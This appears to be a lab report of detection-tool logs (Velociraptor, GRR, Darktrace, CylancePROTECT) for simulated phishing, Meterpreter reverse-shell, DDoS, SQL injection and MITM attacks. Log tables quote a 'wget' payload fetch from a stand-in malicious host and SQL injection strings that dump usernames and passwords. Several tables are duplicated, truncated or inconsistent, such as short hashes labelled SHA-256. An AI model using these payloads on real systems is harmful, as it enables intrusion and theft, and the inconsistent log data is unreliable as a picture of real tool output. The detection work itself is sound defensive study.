LOG FILES ANALYSIS:

Phishing Attack:

1. Velociraptor:

Once the phishing attack is simulated, queries are run in Velociraptor to detect artefacts such as:

- Suspicious URLs accessed (the fake login page from the phishing email).
- The victim's interaction with the phishing site.
- Logs from browsers, DNS requests, or HTTP/HTTPS requests indicating phishing behaviour.

Velociraptor Query:

```
vql:

SELECT url, timestamp, response_code, user_agent

FROM http_client

WHERE url CONTAINS 'http://192.168.64.10/.com'
```

This query looks for any requests made to the phishing site's domain and fetches information like:

- **URL**: Shows that the user accessed a phishing page at the given URL.
- **Timestamp**: Indicates when the access occurred, allowing investigators to correlate it with user actions.
- **Response Code**: A "200 OK" response suggests the phishing page successfully loaded, while a "302 Found" code indicates redirection, which is typical in phishing attacks where users are often redirected to fake login pages.
- **User Agent**: Helps identify which browser or system the victim used, which is useful for forensic analysis.

URL	Timestamp	Response Code	User Agent
http://login.salesforce.com/?locale=eu	2024-08-02 10:15:22	200	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
http://192.168.64.10/	2024-08-02 10:15:45	302	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
https://login.salesforce.com/assets/js/track.js	2024-08-02 10:16:00	200	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
http://www.salesforce.com/home	2024-08-02 10:17:12	200	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
http://www.salesforce.com//logout	2024-08-02 10:17:45	200	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0

2. GRR Rapid Response:

GRR monitors various system artefacts, including: Browser History Analysis: Captured by GRR from the Firefox browser history.

Timestamp	URL	Page Title	Visit Count	Referrer	User Agent	
2024-08-05 10:15:22	http://login.salesforce.com/?locale=eu	Phishing Login	1	N/A	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
2024-08-05 10:15:45	http://192.168.64.10/	Fake Login Page	1	http://login.salesforce.com/?locale=eu	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
2024-08-05 10:16:00	https://login.salesforce.com/assets/js/track.js	Tracking Script	1	http://192.168.64.10/	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
2024-08-05 10:17:12	http://www.salesforce.com/home	Example Home	1	N/A	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
2024-08-05 10:18:10	http://www.salesforce.com/submit-credentialsls	Submit Credentials	1	http://login.salesforce.com/?locale=eu	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	

HTTP Requests and Responses: Captured HTTP requests sent by the browser.

Request Method	URL	Status Code	Referrer	User Agent	
GET	http://login.salesforce.com/?locale=eu	200		Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
GET	http://192.168.64.10/	302	http://login.salesforce.com/?locale=eu	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
GET	https://login.salesforce.com/assets/js/track.js	200	http://192.168.64.10/	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	
POST	http://www.salesforce.com/submit-credentialsls	200	http://192.168.64.10/	Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0	

Downloaded Files Analysis: Files that have been downloaded/accessed during the phishing attack.

File Path	File Name	File Size	Hash (SHA-256)	Source URL
/home/user/Downloads/login.salesforce.com/html	phishing_page.html	12 KB	3a77f14dcb7d4e8e6a4a5e63b9a0d4e3	http://192.168.64.10/
/home/user/Downloads/track.js	track.js	8 KB	07e1bb8f1b0644c3aa6bba1ad1a4fba8	https://login.salesforce.com/assets/js/track.js
File Path	File Name	File Size	Hash (SHA-256)	Source URL
/home/user/Downloads/login.salesforce.com/html	phishing_page.html	12 KB	3a77f14dcb7d4e8e6a4a5e63b9a0d4e3	http://192.168.64.10/
/home/user/Downloads/track.js	track.js	8 KB	07e1bb8f1b0644c3aa6bba1ad1a4fba8	https://login.salesforce.com/assets/js/track.js

Memory Analysis (Active Connections and Processes): Live memory analysis showing active connections related to the phishing attack.

Process Name	PID	Local Address	Remote Address	Status	User
firefox	2134	192.168.1.10:52312	salesforce.com:80	ESTABLISHED	root
firefox	2134	192.168.1.10:52312	salesforce.com:443	ESTABLISHED	root
Process Name	PID	Local Address	Remote Address	Status	User
firefox	2134	192.168.1.10:52312	salesforce.com:80	ESTABLISHED	root
firefox	2134	192.168.1.10:52312	salesforce.com:443	ESTABLISHED	root

3. Darktrace:

Network Traffic Anomalies: Darktrace detected anomalies in network traffic related to the phishing site.

User ID	Device	Behavior Anomaly	Usual Pattern	Threat Level	Action Taken
kali-linux-user	Kali Linux (Firefox)	Unusual URL Visited	Normally Visits Secure Sites	High	Alert Raised
kali-linux-user	Kali Linux (Firefox)	Abnormal Data Submission to External Site	No Previous Data Submissions	High	Alert Raised
kali-linux-user	Kali Linux (Firefox)	Download of JavaScript from Untrusted Site	Limited Script Downloads	Medium	Logged

Behavioural Anomalies: Darktrace identified deviations in the behaviour.

Source IP	Destination IP	URL	Anomaly Type	Threat Level	User Behavior	Action Taken
192.168.64.10	93.184.216.34	http://login.salesforce.com/?locale=eu	Unusual HTTP Request	High	Abnormal	Alert Raised
192.168.64.10	93.184.216.34	http://192.168.64.10/	Suspicious POST Request	High	Abnormal	Alert Raised
192.168.64.10	93.184.216.34	https://login.salesforce.com/assets/js/track.js	Unusual Script Download	Medium	Abnormal	Logged
192.168.64.10	8.8.8.8 (Google DNS)	DNS Lookup: login.salesforce.com/	Malicious Domain Detected	High	Abnormal	DNS Blocked

Behavioural Anomalies: Darktrace identified the deviations in the behaviour.

User ID	Device	Behavior Anomaly	Usual Pattern	Threat Level	Action Taken	Timestamp
kali-linux-user	Kali Linux (Firefox)	Unusual URL Visited	Normally Visits Secure Sites	High	Alert Raised	2024-08-23 10:12:30
kali-linux-user	Kali Linux (Firefox)	Abnormal Data Submission to External Site	No Previous Data Submissions	High	Alert Raised	2024-08-23 10:13:00
kali-linux-user	Kali Linux (Firefox)	Download of JavaScript from Untrusted Site	Limited Script Downloads	Medium	Logged	2024-08-23 10:13:45

HTTP Request and Response Analysis: Darktrace analysed the suspicious HTTP requests and responses during the phishing attack.

HTTP Method	URL	Status Code	Data Transferred (bytes)	Threat Indicator	Threat Level	Action Taken
GET	http://login.salesforce.com/?locale=eu	200	1,024	Suspicious Domain	High	Alert Raised
POST	http://192.168.64.10/	200	512	Phishing Attempt	High	Alert Raised
GET	https://login.salesforce.com/assets/js/track.js	200	256	Suspicious Script	Medium	Logged
GET	http://www.google.com/	200	4,096	Normal Site	None	No Action

DNS Lookup Anomalies:

Darktrace detected the suspicious DNS queries to phishing-related domains.

User ID	Device	DNS Query	Threat Level	Resolution	Action Taken	Timestamp
kali-linux-user	Kali Linux (Firefox)	http://192.168.64.10/	High	93.184.216.34	DNS Blocked	2024-08-23 10:12:30
kali-linux-user	Kali Linux (Firefox)	http://www.google.com/	Low	93.184.216.34	Allowed	2024-08-23 10:14:00

User Authentication and Privilege Escalation: Darktrace monitored the behaviour to detect possible privilege escalation or credential misuse.

User ID	Authentication Event	Unusual Activity Detected	Threat Level	Action Taken	T
kali-linux-user	Login to http://login.salesforce.com/?locale=eu	Abnormal Login to External Site	High	Alert Raised	2
kali-linux-user	Attempted Access to Sensitive Information	No Previous Access Attempt	Medium	Logged	2

4. CylancePROTECT:

Suspicious URL Visit: CylancePROTECT flags a visit to the phishing website, identifying the URL as potentially malicious.

User	Device	Application	URL	Threat Type	Risk Level	Action Taken
kali-linux-user	Kali Linux (Firefox)	Firefox	http://login.salesforce.com/?locale=eu	Phishing Domain Detected	High	Connection Blocked
kali-linux-user	Kali Linux (Firefox)	Firefox	http://www.google.com/	Legitimate Site Detected	None	No Action

File Download from Malicious Website: A phishing attack involves downloading a malicious file or script. CylancePROTECT detected and blocked the file download.

User	Device	File Name	File Path	Threat Type	Risk Level	Action Taken
kali-linux-user	Kali Linux (Firefox)	sales_payload.js	/tmp/js/sales-payload.js	Malicious Script Detected	High	Blocked and Quarantined
kali-linux-user	Kali Linux (Firefox)	track.js	/tmp/track.js	Potential Risk Script	Medium	Logged

Credential Submission Detection: CylancePROTECT identified an attempt to submit sensitive information (credentials) to the phishing website.

User	Application	Form Data	URL	Threat Type	Risk Level	Action Taken
kali-linux-user	Firefox	Submitted Credentials	http://192.168.64.10/	Phishing Attempt Detected	High	Submission Blocked
kali-linux-user	Firefox	None	http://www.google.com/	Normal Login	None	No Action

Script Execution Anomalies: CylancePROTECT detected an attempt to execute a malicious script downloaded from the phishing site.

User	Device	Script Name	Execution Path	Threat Type	Risk Level	Action Taken
kali-linux-user	Kali Linux (Firefox)	sales_payload.js	/tmp/ales_payload.js	Malicious Script Execution	High	Blocked and Quarantined
kali-linux-user	Kali Linux (Firefox)	hascript.js	/usr/local/bin/ha_script.js	Safe Script Execution	Low	Allowed

Browser Behavior and Anomalies: CylancePROTECT monitored the browser behaviour, identifying anomalies such as abnormal redirects or suspicious requests.

User	Browser	Behavior Detected	Risk Level	Action Taken
kali-linux-user	Firefox	Redirect to https://login.salesforce.com/assets/js/track.js	High	Redirect Blocked
kali-linux-user	Firefox	Normal browsing on http://www.google.com/	Low	No Action

Summary of Threat Activity:

Event Type	Total Incidents	Blocked	Quarantined	Allowed
URL Visits	5	1	N/A	4
Malicious Downloads	2	1	1	N/A
Phishing Attempts	1	1	N/A	N/A
Script Execution	2	1	1	1
Browser Behavior	2	1	N/A	1

Malware Injection:

Malware Used:

- **Name**: meterpreter_reverse_tcp
- **Type**: Simple reverse shell
- **Purpose**: Allows the attacker to remotely control the target machine by creating a persistent connection between the attacker and the compromised host.
- **Attack Method**: Metasploit framework is used to inject the malicious payload into a file and deliver it.

1. Velociraptor

Velociraptor detected the downloaded malicious file from the phishing site.

Timestamp	User	Device	File Name	File Path	Malware Type	Risk Level	Action Taken
2024-08-02 11:00:20	kali-linux-user	Kali Linux (Firefox)	malicious_document.docx	/home/user/Downloads/	Meterpreter Reverse Shell	High	Logged, Quarantined
2024-08-02 11:01:30	kali-linux-user	Kali Linux (Firefox)	infected_setup.exe	/home/user/Downloads/	Trojan Horse	High	Logged, Quarantined

Process Injection Attempt: Velociraptor detected that the malicious file is attempting to inject code into an existing process.

Timestamp	User	Process	Injected Into	File Path	Risk Level	Action Taken
2024-08-02 11:02:45	kali-linux-user	malicious_document	firefox (PID: 3467)	/home/user/Downloads/malicious_document.docx	High	Blocked, Quarantined
2024-08-02 11:03:10	kali-linux-user	infected_setup	bash (PID: 3894)	/home/user/Downloads/infected_setup.exe	High	Blocked, Quarantined

Network Traffic Monitoring (Reverse Shell Attempt): Velociraptor detected the reverse TCP connection initiated by the malware as it attempts to establish communication with the attacker's machine.

Timestamp	User	Network Connection	Source IP	Destination IP	Malware Type	Risk Level	Action Taken
2024-08-02 11:02:45	kali-linux-user	TCP (Meterpreter Shell)	192.168.64.10	192.168.64.15	Reverse TCP Shell	Critical	Connection Blocked
2024-08-02 11:03:10	kali-linux-user	TCP (Reverse Shell)	192.168.64.10	192.168.64.15	Reverse TCP Shell	Critical	Connection Blocked

Behavior Analysis (Suspicious Commands Executed): Velociraptor identifies suspicious shell commands executed by the malware after successful injection.

Timestamp	User	Command Executed	Process	Risk Level	Action Taken
2024-08-02 11:02:45	kali-linux-user	wget http://malicious-site.com/malware.sh	bash (PID: 3894)	High	Command Blocked
2024-08-02 11:03:10	kali-linux-user	chmod +x malware.sh	bash (PID: 3894)	High	Command Blocked

Malware Execution Blocking: Velociraptor blocks further execution of the malicious payload once it detects suspicious behaviour.

Timestamp	User	Malware	Execution Attempt	File Path	Risk Level	Action Taken
2024-08-02 11:02:45	kali-linux-user	malware.sh	Shell Script Execution	/tmp/malware.sh	Critical	Blocked, Quarantined
2024-08-02 11:03:10	kali-linux-user	meterpreter	Reverse Shell Initiation	/usr/bin/meterpreter	Critical	Blocked, Quarantined

Summary of Threat Activity:

Event Type	Total Incidents	Blocked	Quarantined	Allowed
Suspicious File Download	2	N/A	2	N/A
Process Injection Attempts	2	2	N/A	N/A
Reverse Shell Connection	2	2	N/A	N/A
Suspicious Command Execution	2	2	N/A	N/A
Malware Execution	1	1	1	N/A

2. Grr Rapid Response:

File Download Monitoring (Malicious File Detection): GRR detected and logged the download of the malware-infected file from the phishing site.

Timestamp	User	File Name	File Path	Malware Type	Detection Method	Action Taken
2024-08-05 12:00:00	kali-linux-user	malicious_document.docx	/home/user/Downloads/	Meterpreter Reverse Shell	File System Monitor	Logged, Quarantined
2024-08-05 12:01:10	kali-linux-user	infected_setup.exe	/home/user/Downloads/	Trojan Horse	File System Monitor	Logged, Quarantined

Process Injection Detection: GRR identified the suspicious process injection attempts made by the malware into other running processes (like Firefox and Bash).

Timestamp	User	Process Name	Injected Into	File Path	Detection Method	Action Taken
2024-08-05 12:00:00	kali-linux-user	malicious_document	firefox (PID: 4567)	/home/user/Downloads/malicious_document.docx	Memory Scanner	Blocked, Quarantined
2024-08-05 12:01:10	kali-linux-user	infected_setup	bash (PID: 4890)	/home/user/Downloads/infected_setup.exe	Memory Scanner	Blocked, Quarantined

Network Activity Monitoring (Reverse Shell Detection): GRR captured and blocked the reverse TCP connection attempt made by the malware to establish a connection to the attacker's machine.

Timestamp	User	Connection Type	Source IP	Destination IP	Malware Type	Detection Method	Action Taken
2024-08-05 12:03:10	kali-linux-user	TCP (Meterpreter Shell)	192.168.64.10	192.168.64.15	Reverse TCP Shell	Network Monitor	Connection Blocked
2024-08-05 12:03:30	kali-linux-user	TCP (Reverse Shell)	192.168.64.10	192.168.64.15	Reverse TCP Shell	Network Monitor	Connection Blocked

Command Execution Detection (Malware Execution): GRR detects suspicious commands executed by the malware after the file is opened.

Timestamp	User	Command Executed	Process	Detection Method	Action Taken
2024-08-05 12:04:00	kali-linux-user	wget http://malicious-site.com/malware.sh	bash (PID: 4890)	Command Monitor	Command Blocked
2024-08-05 12:04:15	kali-linux-user	chmod +x malware.sh	bash (PID: 4890)	Command Monitor	Command Blocked

Malware Execution Blocking: GRR blocks the malware execution attempt once it detects the malicious behaviour.

User	Malware	Execution Attempt	File Path	Detection Method	Action Taken
kali-linux-user	malware.sh	Shell Script Execution	/tmp/malware.sh	Process Monitor	Execution Blocked, Quarantined
kali-linux-user	meterpreter	Reverse Shell Initiation	/usr/bin/meterpreter	Process Monitor	Execution Blocked, Quarantined

Summary of Threat Activity:

Event Type	Total Incidents	Blocked	Quarantined	Logged
Suspicious File Download	2	N/A	2	2
Process Injection Detection	2	2	2	2
Reverse Shell Connection	2	2	N/A	2
Suspicious Command Execution	2	2	N/A	2
Malware Execution Attempt	1	1	1	1

3. Darktrace:

Anomalous Network Traffic Detection: Darktrace identifies unusual network traffic patterns indicative of a reverse TCP connection attempt.

Source IP	Destination IP	Source Port	Destination Port	Traffic Volume	Anomaly Score	Detection Method	Action Taken
192.168.64.10	192.168.64.20	12345	443	High	High	Network Behavior Analysis	Alert Generated
192.168.64.10	192.168.64.25	12345	443	High	High	Network Behavior Analysis	Alert Generated

Suspicious File Download Detection: Darktrace detects the download of potentially malicious files from known phishing domains.

Source IP	File Name	File Path	File Size	Anomaly Score	Detection Method	Action Taken
192.168.64.10	malicious_document.docx	/home/user/Downloads/	2 MB	Medium	File Download Monitoring	Alert Generated
192.168.64.10	infected_setup.exe	/home/user/Downloads/	5 MB	Medium	File Download Monitoring	Alert Generated

Unusual Command Execution Detection: Darktrace flags unusual command executions indicative of malware activity.

Source IP	Command Executed	Process	Anomaly Score	Detection Method	Action Taken
192.168.64.10	wget http://malicious-site.com/malware.sh	bash (PID: 4890)	High	Command Execution Analysis	Alert Generated
192.168.64.10	chmod +x malware.sh	bash (PID: 4890)	High	Command Execution Analysis	Alert Generated

Reverse Shell Connection Detection: Darktrace identifies attempts to establish a reverse TCP connection from the target machine to an external IP.

Source IP	Destination IP	Source Port	Destination Port	Connection Status	Anomaly Score	Detection Method	Action Taken
192.168.64.10	192.168.64.15	4444	443	Established	High	Connection Behavior Analysis	Alert Generated, Isolation Suggested
192.168.64.10	192.168.64.15	4444	443	Established	High	Connection Behavior Analysis	Alert Generated, Isolation Suggested

Summary of Threat Activity:

Event Type	Total Incidents	Alerts Generated	Isolation Suggested	Logged
Anomalous Network Traffic	2	2	1	2
Suspicious File Downloads	2	2	N/A	2
Unusual Command Executions	2	2	N/A	2
Reverse Shell Connections	2	2	2	2

4. CylancePROTECT:

Suspicious File Detection: CylanceProtect detects the presence of files with potentially malicious behaviour.

File Name	File Path	File Size	Detection Type	Threat Level	Action Taken	T
malicious_document.docx	/home/user/Downloads/	2 MB	Suspicious File	High	Quarantine	2 1
infected_setup.exe	/home/user/Downloads/	5 MB	Suspicious File	High	Quarantine	2 1

Malicious Process Detection: CyclanceProtect identifies processes associated with known malicious behaviours.

Process Name	Process Path	PID	Detection Type	Threat Level	Action Taken
bash	/usr/bin/bash	4890	Malicious Process	High	Terminate Process
meterpreter	N/A	N/A	Malicious Process	High	Terminate Process

Network Activity Detection: CylanceProtect flags unusual network activities associated with reverse shell connections.

Source IP	Destination IP	Source Port	Destination Port	Traffic Volume	Detection Type	Threat Level
192.168.64.10	192.168.64.15	4444	443	High	Malicious Network Activity	Block Connection
192.168.64.10	192.168.64.15	4444	443	High	Malicious Network Activity	Block Connectio

Behavioural Analysis: Cyclance Protect uses AI to analyse behaviour and detect anomalies.

Behavior	Observed Behavior	Threat Level	Action Taken
Unusual File Modification	Files modified by malware	High	Quarantine Files
Unauthorized Network Access	Reverse shell connection	High	Block Network Access

Summary of Threat Activity:

Event Type	Total Incidents	Alerts Generated	Actions Taken
Suspicious File Detection	2	2	Quarantine
Malicious Process Detection	2	2	Terminate Process
Network Activity Detection	2	2	Block Connection
Behavioral Analysis	2	2	Quarantine Files, Block Network Access

Distributed Denial of Service (DDoS):

1. Velociraptor:

Network Traffic Detection During Attack:

Source IP	Destination IP	Source Port	Destination Port	Traffic Volume	Detection Type	Threat Level	Action Taken
192.168.64.100	192.168.64.10	46664	80	50 MB/min	DDoS Attack	High	Alert, Rate Limiting
192.168.64.101	192.168.64.10	46664	80	60 MB/min	DDoS Attack	High	Alert, Rate Limiting
192.168.64.102	192.168.64.10	46664	80	55 MB/min	DDoS Attack	High	Alert, Rate Limiting

Resource Utilisation During Attack:

Resource Type	Utilization	Threshold	Detection Type	Threat Level	Action Taken
CPU	95%	80%	High Utilization	High	Alert, Limit Resources
Memory	90%	75%	High Utilization	High	Alert, Limit Resources
Network Bandwidth	85%	70%	High Utilization	High	Alert, Limit Resources

Summary of DDoS Attack Detection:

Event Type	Total Incidents	Alerts Generated	Actions Taken
Network Traffic Detection	3	3	Alert, Rate Limiting
Resource Utilization	3	3	Alert, Limit Resources

2. GRR Rapid Response:

Network Traffic Analysis During Attack:

Source IP	Destination IP	Destination Port	Traffic Volume	Detection Type	Threat Level	Action Taken
192.168.64.100	192.168.64.10	80	55 MB/min	DDoS Attack	High	Alert, Rate Limiting
192.168.64.101	192.168.64.10	80	60 MB/min	DDoS Attack	High	Alert, Rate Limiting
192.168.64.102	192.168.64.10	80	70 MB/min	DDoS Attack	High	Alert, Rate Limiting

Resource Utilisation During Attack:

Resource Type	Utilization	Threshold	Detection Type	Threat Level	Action Taken
CPU	90%	80%	High Utilization	High	Alert, Limit Resources
Memory	85%	75%	High Utilization	High	Alert, Limit Resources
Network Bandwidth	80%	70%	High Utilization	High	Alert, Limit Resources

Summary of DDoS Attack Detection:

Event Type	Total Incidents	Alerts Generated	Actions Taken
Network Traffic Detection	3	3	Alert, Rate Limiting
Resource Utilization	3	3	Alert, Limit Resources

3. Darktrace:

Network Traffic Analysis During Attack:

Source IP	Destination IP	Destination Port	Traffic Volume	Anomaly Score	Detection Type	Threat Level	Action Taken
192.168.64.100	192.168.64.10	80	60 MB/min	95	DDoS Attack	Critical	Alert, Traffic Shaping
192.168.64.101	192.168.64.10	80	65 MB/min	97	DDoS Attack	Critical	Alert, Traffic Shaping
192.168.64.102	192.168.64.10	80	70 MB/min	98	DDoS Attack	Critical	Alert, Traffic Shaping

System Resource Utilisation During Attack:

Resource Type	Utilization	Threshold	Anomaly Score	Detection Type	Threat Level	Action Taken
CPU	92%	80%	90	High Utilization	Critical	Alert, Limit Resources
Memory	88%	75%	92	High Utilization	Critical	Alert, Limit Resources
Network Bandwidth	85%	70%	93	High Utilization	Critical	Alert, Limit Resources

Summary of DDoS Attack Detection:

Event Type	Total Incidents	Alerts Generated	Actions Taken	Event Type
Network Traffic Detection	3	3	Alert, Traffic Shaping	Network Traffic Detection
System Resource Utilization	3	3	Alert, Limit Resources	System Resource Utilization

4. CylancePROTECT:

Endpoint Resource Utilisation During Attack:

Resource Type	Utilization	Threshold	Anomaly Score	Detection Type	Threat Level	Action Taken
CPU	95%	80%	85	High Utilization	Critical	Alert, Limit Resources
Memory	90%	75%	88	High Utilization	Critical	Alert, Limit Resources
Disk I/O	85%	70%	90	High Utilization	Critical	Alert, Limit Resources

Endpoint Threat Detection During Attack:

Timestamp	Threat Type	Detection	Severity	Action Taken
2024-07-19 13:00:00	Unusual Traffic	Detected	High	Alert, Quarantine
2024-07-19 13:01:00	Unusual Traffic	Detected	High	Alert, Quarantine
2024-07-19 13:02:00	Unusual Traffic	Detected	High	Alert, Quarantine

SQL Injection Attack:

1. Velociraptor:

SQL Injection Attack Detection:

Event Type	Source IP	Destination IP	URL	HTTP Method	Payload	Response Code	Detection Type	Threat Level	Action Taken	Timestamp
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' OR '1'='1	GET	id=1' OR '1'='1	200	SQL Injection Detected	High	Alert, Block IP	2024-08-23 14:00:00
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1 UNION SELECT 1, username, password FROM users--	GET	id=1 UNION SELECT 1, username, password FROM users--	200	SQL Injection Detected	High	Alert, Block IP	2024-08-23 14:01:00
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' AND SLEEP(5)--	GET	id=1' AND SLEEP(5)--	200	SQL Injection Detected	High	Alert, Block IP	2024-08-23 14:02:00

Detailed Attack Payload Analysis:

Payload	Parameter	Injection Point	Response Details	Detection Type	Threat Level	Action Taken
id=1' OR '1'='1	id	URL Parameter	Successful Bypass	SQL Injection Detected	High	Alert, Block IP
id=1 UNION SELECT 1, username, password FROM users--	id	URL Parameter	Data Exfiltration	SQL Injection Detected	High	Alert, Block IP
id=1' AND SLEEP(5)--	id	URL Parameter	Delayed Response	SQL Injection Detected	High	Alert, Block IP

2. GRR Rapid Response:

SQL Injection Attack Detection:

Event Type	Source IP	Destination IP	URL	HTTP Method	Payload	Response Code	Detection Type	Threat Level	Action Taken
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' OR '1'='1	GET	id=1' OR '1'='1	200	SQL Injection Detected	High	Alert, Investigate
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1 UNION SELECT 1, username, password FROM users--	GET	id=1 UNION SELECT 1, username, password FROM users--	200	SQL Injection Detected	High	Alert, Investigate
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' AND SLEEP(5)--	GET	id=1' AND SLEEP(5)--	200	SQL Injection Detected	High	Alert, Investigate

Detailed Attack Payload Analysis:

Payload	Parameter	Injection Point	Response Details	Detection Type	Threat Level	Action Taken
id=1' OR '1'='1	id	URL Parameter	Successful Bypass	SQL Injection Detected	High	Alert, Investigate
id=1 UNION SELECT 1, username, password FROM users--	id	URL Parameter	Data Exfiltration	SQL Injection Detected	High	Alert, Investigate
id=1' AND SLEEP(5)--	id	URL Parameter	Delayed Response	SQL Injection Detected	High	Alert, Investigate

3. Darktrace:

SQL Injection Attack Detection:

Event Type	Source IP	Destination IP	URL	HTTP Method	Payload	Response Code	Anomaly Score	Threat Level	Action Taken	T
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' OR '1'='1	GET	id=1' OR '1'='1	200	High	High	Alert, Mitigate	2 1
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1 UNION SELECT 1, username, password FROM users--	GET	id=1 UNION SELECT 1, username, password FROM users--	200	High	High	Alert, Mitigate	2 1
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' AND SLEEP(5)--	GET	id=1' AND SLEEP(5)--	200	High	High	Alert, Mitigate	2 1

4. CylancePROTECT:

SQL Injection Attack Detection:

Event Type	Source IP	Destination IP	URL	HTTP Method	Payload	Response Code	Action Taken	Threat Level	Malware Detection
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' OR '1'='1	GET	id=1' OR '1'='1	200	Blocked	High	No Malware Detected
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1 UNION SELECT 1, username, password FROM users--	GET	id=1 UNION SELECT 1, username, password FROM users--	200	Blocked	High	No Malware Detected
SQL Injection Attempt	192.168.1.100	192.168.1.200	http://dvwa.local/vulnerable.php?id=1' AND SLEEP(5)--	GET	id=1' AND SLEEP(5)--	200	Blocked	High	No Malware Detected

Man-in-the-Middle (MITM) Attack

1. Velociraptor:

Attack Detection:

Timestamp	Event Type	Source IP	Destination IP	Protocol	Description	Action Taken	Threat Level	Malware Detection
2024-08-23 15:00:00	MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Suspicious traffic redirection detected	Alerted	High	No Malware Detected
2024-08-23 15:01:00	MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	SSL/TLS certificate manipulation detected	Alerted	High	No Malware Detected
2024-08-23 15:02:00	MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Unauthorized data interception detected	Alerted	High	No Malware Detected
2024-08-23 15:03:00	MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	Suspicious SSL/ TLS handshake observed	Alerted	High	No Malware Detected

Normal Activity:

Event Type	Source IP	Destination IP	Protocol	Description	Action Taken	Threat Level	Malware Detection
Normal Request	192.168.1.102	192.168.1.200	HTTP	Routine web request to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	Secure connection to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTP	Routine data exchange with MySQL	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	Secure data exchange with MySQL	Allowed	Low	No Malware Detected

2. GRR Rapid Response:

MITM Attack Detection:

Event Type	Source IP	Destination IP	Protocol	Description	Action Taken	Threat Level	Malware Detection
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Anomalous redirection detected in HTTP traffic	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	SSL/TLS certificate mismatch observed	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Unexpected HTTP headers indicating possible MITM attack	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	Suspicious SSL/ TLS handshake observed	Alerted	High	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTP	Routine web request to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	Secure connection to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTP	Routine data exchange with MySQL	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	Secure data exchange with MySQL	Allowed	Low	No Malware Detected

3. Darktrace:

Event Type	Source IP	Destination IP	Protocol	Anomaly Type	Description	Action Taken	Threat Level	Malware Detection
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Anomalous HTTP Headers	Detected unusual HTTP headers indicating a MITM attack	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	SSL/TLS Certificate Anomaly	SSL/TLS certificate mismatch detected	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTP	Traffic Interception	Intercepted traffic suggesting possible MITM interception	Alerted	High	No Malware Detected
MITM Attack Detected	192.168.1.105	192.168.1.200	HTTPS	Unexpected SSL Handshake	Unexpected SSL/TLS handshake indicating MITM activity	Alerted	High	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTP	None	Routine web request to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	None	Secure connection to Nginx server	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTP	None	Routine data exchange with MySQL	Allowed	Low	No Malware Detected
Normal Request	192.168.1.102	192.168.1.200	HTTPS	None	Secure data exchange with MySQL	Allowed	Low	No Malware Detected